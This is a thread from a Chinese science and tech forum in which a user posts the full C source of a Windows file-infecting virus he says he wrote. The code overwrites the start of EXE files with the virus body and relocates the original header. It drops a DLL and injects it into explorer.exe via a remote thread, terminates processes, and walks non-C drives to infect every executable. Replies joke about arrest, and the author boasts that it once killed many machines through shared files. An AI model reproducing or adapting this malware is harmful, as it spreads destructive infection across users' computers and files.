没人气啊,在发个以前写的一个垃圾文件病毒的感染代码
znnwe12012/09/18软件综合 IP:湖北
感染方法是使病毒体覆盖宿主文件头部,把宿主头部移到文件尾部,完成感染
运行感染后的程序时病毒体获得控制权远程注入一个线程到explorer.exe进程常驻内存(搞神马事就看你的兴趣了[s:274] )程序分为感染部分和远程线程DLL部分DLL部分编译完成后通过文件合并的方法把它加到感染部分的画面就完成了整个病毒体,只要运行就可以体验所有EXE文件被感染后的感脚(我在虚拟机上调试时感脚很爽所有exe文件几乎瞬间被感染[s:263])
不过现在这货没鸟用了,编译出来就被杀了,动作太明显的缘故。

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <[s:9]sapi.h>
#include <Tlhelp32.h>
//最终病毒体的大小
#define MAX_BDT 20480
//待注入DLL模块的大小
#define MAX_DLL 6656
////////////////////////////////////////////////////////////////////////////////
//判断远程线程是否已成功加载DLL常驻模块,dll已加载就返回0否则返回1
int JZDLL()
{
    //要生成的DLL模块的名称
    LPSTR DLLname="c:\\windows\\win32gdidll.dll";
    LPSTR DLLt[MAX_DLL];
    //本进程的路径
    LPSTR EXEname[MAX_PATH];
    //DLL和EXE文件句柄
    DWORD dwsize;
    DWORD szdll=MAX_DLL;
    DWORD szexe=MAX_BDT-MAX_DLL;
    HANDLE hDLL;
    HANDLE hEXE;
    //获取当前进程路径
     GetModuleFileName(0,EXEname,MAX_PATH);
    //以读方式打开当前EXE进程的文件
    hEXE=CreateFile(EXEname,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);  
    if(hEXE==INVALID_HANDLE_VALUE){MessageBox(NULL,"打开exe文件失败","注入模块错误",MB_OK);return 0;}
    //读取DLL本体
    SetFilePointer(hEXE,szexe,0,FILE_BEGIN);
    ReadFile(hEXE,DLLt,szdll,&dwsize,NULL);
    CloseHandle(hEXE);
    //以读写方式创建和打开待注入DLL模块
    hDLL=CreateFile(DLLname,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);  
    if(hDLL==INVALID_HANDLE_VALUE){MessageBox(NULL,"创建DLL文件失败,DLL可能已经被装载","注入模块错误",MB_OK);return 0;}
    //写入DLL数据
    SetFilePointer(hDLL,0,0,FILE_BEGIN);
    WriteFile(hDLL,DLLt,szdll,&dwsize,NULL);
    CloseHandle(hDLL);
    return 1;
}
////////////////////////////////////////////////////////////////////////////////
//远程线程注入函数参数为目标进程的PID
int XCZR(DWORD dwProcessId)
{
    //打开目标进程
    HANDLE hProcess=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_CREATE_THREAD,FALSE,dwProcessId);
    if(hProcess==NULL){MessageBox(NULL,"无法打开目标进程!","打开进程失败!",MB_OK);return 0;}
    //待注入DLL文件路径
    LPSTR szDllPath="c:\\windows\\win32gdidll.dll";
    //在远程线程上开辟存储DLL路径的空间
    UINT nLen=(UINT)lstrlen(szDllPath)+1;
    LPVOID lpRemoteDllName=VirtualAllocEx(hProcess,NULL,nLen,MEM_COMMIT,PAGE_READWRITE);
    if(lpRemoteDllName==NULL){MessageBox(NULL,"无法在远程线程上开辟内存空间!","申请内存失败",MB_OK);return 0;}
    //把DLL名写入目标进程的内存空间
    if(WriteProcessMemory(hProcess,lpRemoteDllName,szDllPath,nLen,NULL)==NULL)
    {MessageBox(NULL,"写目标进程内存失败!","写内存失败",MB_OK);return 0;}
    //获取动态链接库函数地址
    HMODULE hModule=GetModuleHandle("kernel32.dll");
    LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)GetProcAddress(hModule,"LoadLibraryA");
    if((DWORD)fnStartAddr==0){MessageBox(NULL,"获取动态链接库函数地址失败!","获取函数地址失败",MB_OK);return 0;}
    //创建远程线程
    HANDLE hRemoteThread=CreateRemoteThread(hProcess,NULL,0,fnStartAddr,lpRemoteDllName,0,NULL);
    if(hRemoteThread==NULL){MessageBox(NULL,"创建远程线程失败!","错误",MB_OK);return 0;}
    //等待远程线程结束
    Sleep(3000);
    //if(WaitForSingleObject(hRemoteThread,INFINITE)!=WAIT_OBJECT_0)
    //{MessageBox(NULL,"远程线程执行出错","警告",MB_OK);return 0;}
    CloseHandle(hRemoteThread);
    CloseHandle(hModule);
    CloseHandle(hProcess);
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//监控进程发现目标进程就注入进程
//参数为进程名
int ProcessZR(LPSTR name)
{
    //进程句柄
    HANDLE hProcess;
    //进程PID号
    DWORD Pid;
    //进程快照要用到的结构体
    STARTUPINFO st;
    PROCESS_INFORMATION pi;
    PROCESSENTRY32 ps;
    HANDLE hsnapshot;
    ZeroMemory(&st,sizeof(STARTUPINFO));
    ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
    st.cb=sizeof(STARTUPINFO);
    ZeroMemory(&ps,sizeof(PROCESSENTRY32));
    ps.dwSize=sizeof(PROCESSENTRY32);
    //获取进程快照
    hsnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hsnapshot==INVALID_HANDLE_VALUE)
    {
                                       return 0;
    }
    if(!Process32First(hsnapshot,&ps))
    {
                                      return 0;
    }
    do
    {
                                      if(lstrcmpi(XXXXXExeFile,name)==0)
                                      {
                                        //找到进程
                                        Pid=XXXXX32ProcessID;
                                        XCZR(Pid);
                                        CloseHandle(hsnapshot);
                                        return 0;                              
                                       }
    }while(Process32Next(hsnapshot,&ps));
    CloseHandle(hsnapshot);
return 0;  
}
////////////////////////////////////////////////////////////////////////////////
//感染函数 ,感染参数指定的EXE文件
int GR(LPSTR exe)
{
    //感染标志
    BYTE mz[2];
    //病毒体的最终大小这个数据必须准确到字节否则无法完成感染
    DWORD szBDT=MAX_BDT;
    BYTE BDT[MAX_BDT];
    DWORD dwsize;
    HANDLE hFile;
    HANDLE GRhFile;
    //当前文件名
    LPSTR nm[MAX_PATH];
    //获取当前文件名
    GetModuleFileName(0,nm,MAX_PATH);
    //读方式打开当前文件
    hFile=CreateFile(nm,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(hFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"jjj","jjj",MB_OK);return 0;}
    //读写方式打开被感染文件
    GRhFile=CreateFile(exe,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(GRhFile==INVALID_HANDLE_VALUE){MessageBox(NULL,"无法打开文件","GR",MB_OK);CloseHandle(hFile);CloseHandle(GRhFile); return 0;}
    //读感染标志判断是否需要感染
    SetFilePointer(GRhFile,-20480,0,FILE_END);
    ReadFile(GRhFile,mz,2,&dwsize,NULL);
    if(mz[0]==0x4D&&mz[1]==0x5A){MessageBox(NULL,"此文件已感染过","GR",MB_OK);CloseHandle(hFile);CloseHandle(GRhFile); return 0;}
    //重构目标文件为病毒体开辟出感染空间
    SetFilePointer(GRhFile,0,0,FILE_BEGIN);
    ReadFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    SetFilePointer(GRhFile,0,0,FILE_END);
    WriteFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    //读取病毒体
    SetFilePointer(hFile,0,0,FILE_BEGIN);
    ReadFile(hFile,BDT,szBDT,&dwsize,NULL);
    //感染目标文件
    SetFilePointer(GRhFile,0,0,FILE_BEGIN);
    WriteFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    //关闭文件
    CloseHandle(hFile);
    CloseHandle(GRhFile);
    MessageBox(NULL,"已成功感染目标文件","警告",MB_OK);
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
//遍历目录下所有文件 ,参数为需要遍历的目录
int Bianli(LPSTR mulu)
{
    //查找路径
    CHAR szFilePath[MAX_PATH];
    //查找到文件的全路径
    CHAR szFullPath[MAX_PATH];
    //遍历函数需要的结构体
    WIN32_FIND_DATA FindFileData;
    HANDLE hListFile;
    //构造目录路径字符串
    lstrcpy(szFilePath,mulu);
    lstrcat(szFilePath,"\\*");
    //查找第一个文件目录,获得查找句柄
    hListFile=FindFirstFile(szFilePath,&FindFileData);
    if(hListFile==INVALID_HANDLE_VALUE)
    {
        return 0;
    }
    else
    {
        do
        {
               //过滤.和..
               if(lstrcmp(XXXXXXXXXXXXXXXileName,TEXT("."))==0||lstrcmp(XXXXXXXXXXXXXXXileName,TEXT(".."))==0)
               {
                  continue;
               }
               //构造全路径
               lstrcpy(szFullPath,mulu);
               lstrcat(szFullPath,"\\");
               lstrcat(szFullPath,XXXXXXXXXXXXXXXileName);
               //如果是目录则递归调用列举下级目录
               if(FindFileData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)
               {
                 Bianli(szFullPath);
               }
               else
               {
                   //过滤掉不需要感染的文件
                   if(lstrcmp((XXXXXXXXXXXXXXXileName+lstrlen(XXXXXXXXXXXXXXXileName)-4),TEXT(".EXE"))!=0&&lstrcmp((XXXXXXXXXXXXXXXileName+lstrlen(XXXXXXXXXXXXXXXileName)-4),TEXT(".exe"))!=0)
                   {
                     continue;
                   }                                                                                      
                   //不是目录则输出找到文件的完整路径,可以在此次调用加密函数对遍历到的所有文件加密
                   //GR(szFullPath);
                   //printf("\n%s",szFullPath);
               }
        }
        while(FindNextFile(hListFile,&FindFileData));
     }                  
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
//监控进程发现目标进程就结束进程
//参数为进程名
int KillProcess(LPSTR name)
{
    //进程句柄
    HANDLE hProcess;
    //进程PID号
    DWORD Pid;
    //进程快照要用到的结构体
    STARTUPINFO st;
    PROCESS_INFORMATION pi;
    PROCESSENTRY32 ps;
    HANDLE hsnapshot;
    ZeroMemory(&st,sizeof(STARTUPINFO));
    ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
    st.cb=sizeof(STARTUPINFO);
    ZeroMemory(&ps,sizeof(PROCESSENTRY32));
    ps.dwSize=sizeof(PROCESSENTRY32);
    //获取进程快照
    hsnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hsnapshot==INVALID_HANDLE_VALUE)
    {
                                       return 0;
    }
    if(!Process32First(hsnapshot,&ps))
    {
                                      return 0;
    }
    do
    {
                                      if(lstrcmpi(XXXXXExeFile,name)==0)
                                      {                                                                      
                                        //找到进程
                                        Pid=XXXXX32ProcessID;
                                        //以能结束进程权限获取进程句柄
                                        hProcess=OpenProcess(PROCESS_TERMINATE,FALSE,Pid);
                                        //结束进程
                                        if(TerminateProcess(hProcess,0))Sleep(66);
                                        CloseHandle(hsnapshot);
                                        return 0;                              
                                        }
    }while(Process32Next(hsnapshot,&ps));
    CloseHandle(hsnapshot);
return 0;  
}
////////////////////////////////////////////////////////////////////////////////
//重组宿主文件
int CZ()
{
    int t=1;
    LPSTR data1,data2;
    //病毒体存储缓冲区
    DWORD szBDT=MAX_BDT;
    BYTE BDT[MAX_BDT];
    DWORD dwsize;
    //病毒体文件句柄
    HANDLE BDhFile;
    //宿主文件本体句柄
    HANDLE GRhFile;
    //宿主文件路径长度和路径存储缓冲区
    DWORD szGRname;
    LPSTR GRname[MAX_PATH];
    //当前文件名
    LPSTR nm[MAX_PATH];
    //获取当前文件名
    GetModuleFileName(0,nm,MAX_PATH);
     //读方式打开当前文件
    BDhFile=CreateFile(nm,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(BDhFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"打开病毒体失败","jjj",MB_OK);return 0;}
    //读取宿主文件路径
    SetFilePointer(BDhFile,-4,0,FILE_END);
    ReadFile(BDhFile,&szGRname,4,&dwsize,NULL);
    SetFilePointer(BDhFile,((-4)-szGRname),0,FILE_END);
    ReadFile(BDhFile,GRname,szGRname,&dwsize,NULL);
    GRname[szGRname+1]='\0';
    CloseHandle(BDhFile);
    //获取宿主进程名用于结束染毒的宿主进程
    data1=GRname;
    for(;t;)
    {
            if(data1[0]=='\\') data2=data1;
            if(data1[0]=='\0') t=0;
            data1++;
     }
     data2++;
    // MessageBox(NULL,data2,"lll",MB_OK);
     KillProcess(data2);
    //打开宿主文件
    GRhFile=CreateFile(GRname,GENERIC_WRITE|GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);  
    if(GRhFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,nm,"打开宿主文件失败",MB_OK);return 0;}
    //读取宿主的原头部
   // 此处须手工修改病毒体长度
    SetFilePointer(GRhFile,-20480,0,FILE_END);
    ReadFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    //还原宿主头部
    SetFilePointer(GRhFile,0,0,FILE_BEGIN);
    WriteFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    //还原宿主文件
    // 此处须手工修改病毒体长度
    SetFilePointer(GRhFile,-20480,0,FILE_END);
    SetEndOfFile(GRhFile);
    CloseHandle(GRhFile);
    //运行宿主本体
    WinExec(GRname,SW_SHOW);
    //在这里写入破坏代码
   ////////////////////////////
   //写一个远程线程的常驻内存发作DLL程序
    if(JZDLL()){ProcessZR("explorer.exe");}
    //////////////////////////////////
    //全盘感染
    CHAR szDIR[1024];
    PCHAR PszDIR;
    ZeroMemory(szDIR,1024);
    GetLogicalDriveStrings(1023,szDIR);
    PszDIR=(PCHAR)szDIR;
    //过滤A盘
    PszDIR+=(lstrlen(PszDIR)+1);
    do
   {
    //过滤C盘感染所有其他盘                            
    if(PszDIR[0]==0x63||PszDIR[0]==0x43)PszDIR+=(lstrlen(PszDIR)+1);
    (PszDIR+(lstrlen(PszDIR))-1)[0]='\x00';
    //单线程遍历感染避免多线程感染时硬盘信号灯狂闪
    Bianli(PszDIR);
    PszDIR+=(lstrlen(PszDIR)+2);
   }while(*PszDIR!='\x00');  
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
//剥离函数作用是剥离病毒体生成病毒文件,执行病毒进程,写入宿主的路径
int BL()
{
    //病毒体存储缓冲区
    DWORD szBDT=MAX_BDT;
    BYTE BDT[MAX_BDT];
    DWORD dwsize;
    //病毒体文件句柄
    LPSTR xwjm[MAX_PATH];
    LPSTR data1,data2;
    int t;
    GetTempFileName("c:\\windows","znnwe",0,xwjm);//随机生成一个以znnwe开头的临时文件名
    DeleteFile(xwjm);
    data1=xwjm;
    for(t=1;t;)
    {
               if(data1[0]=='.') data2=++data1;
               if(data1[0]=='\0') t=0;
               data1++;
    }
    data2[0]='E';
    data2++;
    data2[0]='X';
    data2++;
    data2[0]='E';
    data2++;
    data2[0]='\0';
    LPSTR BDname=xwjm;
    HANDLE BDhFile;
    //感染文件本体句柄
    HANDLE GRhFile;
    //当前文件名
    LPSTR nm[MAX_PATH];
    //获取当前文件名
    GetModuleFileName(0,nm,MAX_PATH);
    DWORD szGRname=lstrlen(nm);
     //读方式打开当前文件
    GRhFile=CreateFile(nm,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(GRhFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"jjj","jjj",MB_OK);return 0;}
    //读取病毒体
    SetFilePointer(GRhFile,0,0,FILE_BEGIN);
    ReadFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    CloseHandle(GRhFile);
    //以随机文件名生成病毒体文件
    BDhFile=CreateFile(BDname,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);  
    if(BDhFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"创建病毒体失败","jjj",MB_OK);return 0;}
    //写入病毒体
    SetFilePointer(BDhFile,0,0,FILE_BEGIN);
    WriteFile(BDhFile,BDT,szBDT,&dwsize,NULL);
    //写入宿主路径用于重组宿主文件和启动宿主
    WriteFile(BDhFile,nm,szGRname,&dwsize,NULL);
    //写入宿主路径长度信息
    WriteFile(BDhFile,&szGRname,4,&dwsize,NULL);
    CloseHandle(BDhFile);
    //运行病毒体
    WinExec(BDname,SW_SHOW);
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)


{
    HANDLE hFile;
    //当前文件名
    LPSTR nm[MAX_PATH];
    DWORD szGR;
    //获取当前文件名
    GetModuleFileName(0,nm,MAX_PATH);              
    //读方式打开当前文件
    hFile=CreateFile(nm,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(hFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"错误","jjj",MB_OK);return 0;}
    szGR=GetFileSize(hFile,NULL);
    if(szGR==MAX_BDT){GR("C:\\Users\\Administrator\\Desktop\\《网络武侠经典合集典藏版》.exe");return 0;}
    if(szGR>(MAX_BDT+2000)) {BL();return 0;}
    CZ();              
    return 0;
}
+100  科创币    phpskycn    2012/09/26 迟到的加分
来自:计算机科学 / 软件综合
6
已屏蔽 原因:{{ notice.reason }}已屏蔽
{{notice.noticeContent}}
~~空空如也
znnwe1 作者
11年9个月前 IP:未同步
452814
dll部分没有发因为不是很和谐,这货现在虽然是很垃圾可当年我刚写出来通过共享文件的方法还是搞死过不少机子的[s:243]
+1
科创币
听我说瞎话
2012-09-18
楼主淫荡!小心被抓去喝茶!
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
znnwe1作者
11年9个月前 IP:未同步
452827
这么好的东西怎么没人看看呢,这可是连调试用的MessageBox都没删除的原始版本啊,虽然没用到PE结构但这方法也还不错啊,比如自己写个虚拟机然后把代码以文本方式附加到各种文本中,然后安装了你写的虚拟机的电脑会按一定规则来读取各种被感染的文本文档并解释运行感染到文本的代码。。。。。。那将何其牛逼啊
[s:219]
纯属意淫大家别当真[s:245]
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
phpskycn
11年9个月前 IP:未同步
454873
回 楼主(znnwe1) 的帖子
木有涉及PE结构....那么巨头是如何实现感染的呢?求原理。。
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
znnwe1作者
11年9个月前 IP:未同步
454877
回 3楼(phpskycn) 的帖子
就是通过二进制读写文件的方式把病毒体文件写到宿主文件的前面,把被病毒体占的哪一段
数据移到宿主文件的文件尾完成感染。运行时通过运行病毒体来重组宿主文件及运行宿主文件。
此法的缺点是运行一次后宿主文件就会被还原,但可以通过其他被感染的程序来重新感染
反正这是个笨办法,主要工作在文件的二进制读写方面
不是很会表达希望你能看懂[s:275]
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
phpskycn
11年9个月前 IP:未同步
455093
回 4楼(znnwe1) 的帖子
额,明白了。。。
可以运行被感染文件后再感染它。。。
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论

想参与大家的讨论?现在就 登录 或者 注册

所属专业
上级专业
同级专业
znnwe1
笔友
文章
8
回复
34
学术分
0
2012/09/16注册,6年4个月前活动
暂无简介
主体类型:个人
所属领域:无
认证方式:邮箱
IP归属地:未同步
文件下载
加载中...
{{errorInfo}}
{{downloadWarning}}
你在 {{downloadTime}} 下载过当前文件。
文件名称:{{resource.defaultFile.name}}
下载次数:{{resource.hits}}
上传用户:{{uploader.username}}
所需积分:{{costScores}},{{holdScores}}下载当前附件免费{{description}}
积分不足,去充值
文件已丢失

当前账号的附件下载数量限制如下:
时段 个数
{{f.startingTime}}点 - {{f.endTime}}点 {{f.fileCount}}
视频暂不能访问,请登录试试
仅供内部学术交流或培训使用,请先保存到本地。本内容不代表科创观点,未经原作者同意,请勿转载。
音频暂不能访问,请登录试试
支持的图片格式:jpg, jpeg, png
插入公式
评论控制
加载中...
文号:{{pid}}
投诉或举报
加载中...
{{tip}}
请选择违规类型:
{{reason.type}}

空空如也

加载中...
详情
详情
推送到专栏从专栏移除
设为匿名取消匿名
查看作者
回复
只看作者
加入收藏取消收藏
收藏
取消收藏
折叠回复
置顶取消置顶
评学术分
鼓励
设为精选取消精选
管理提醒
编辑
通过审核
评论控制
退修或删除
历史版本
违规记录
投诉或举报
加入黑名单移除黑名单
查看IP
{{format('YYYY/MM/DD HH:mm:ss', toc)}}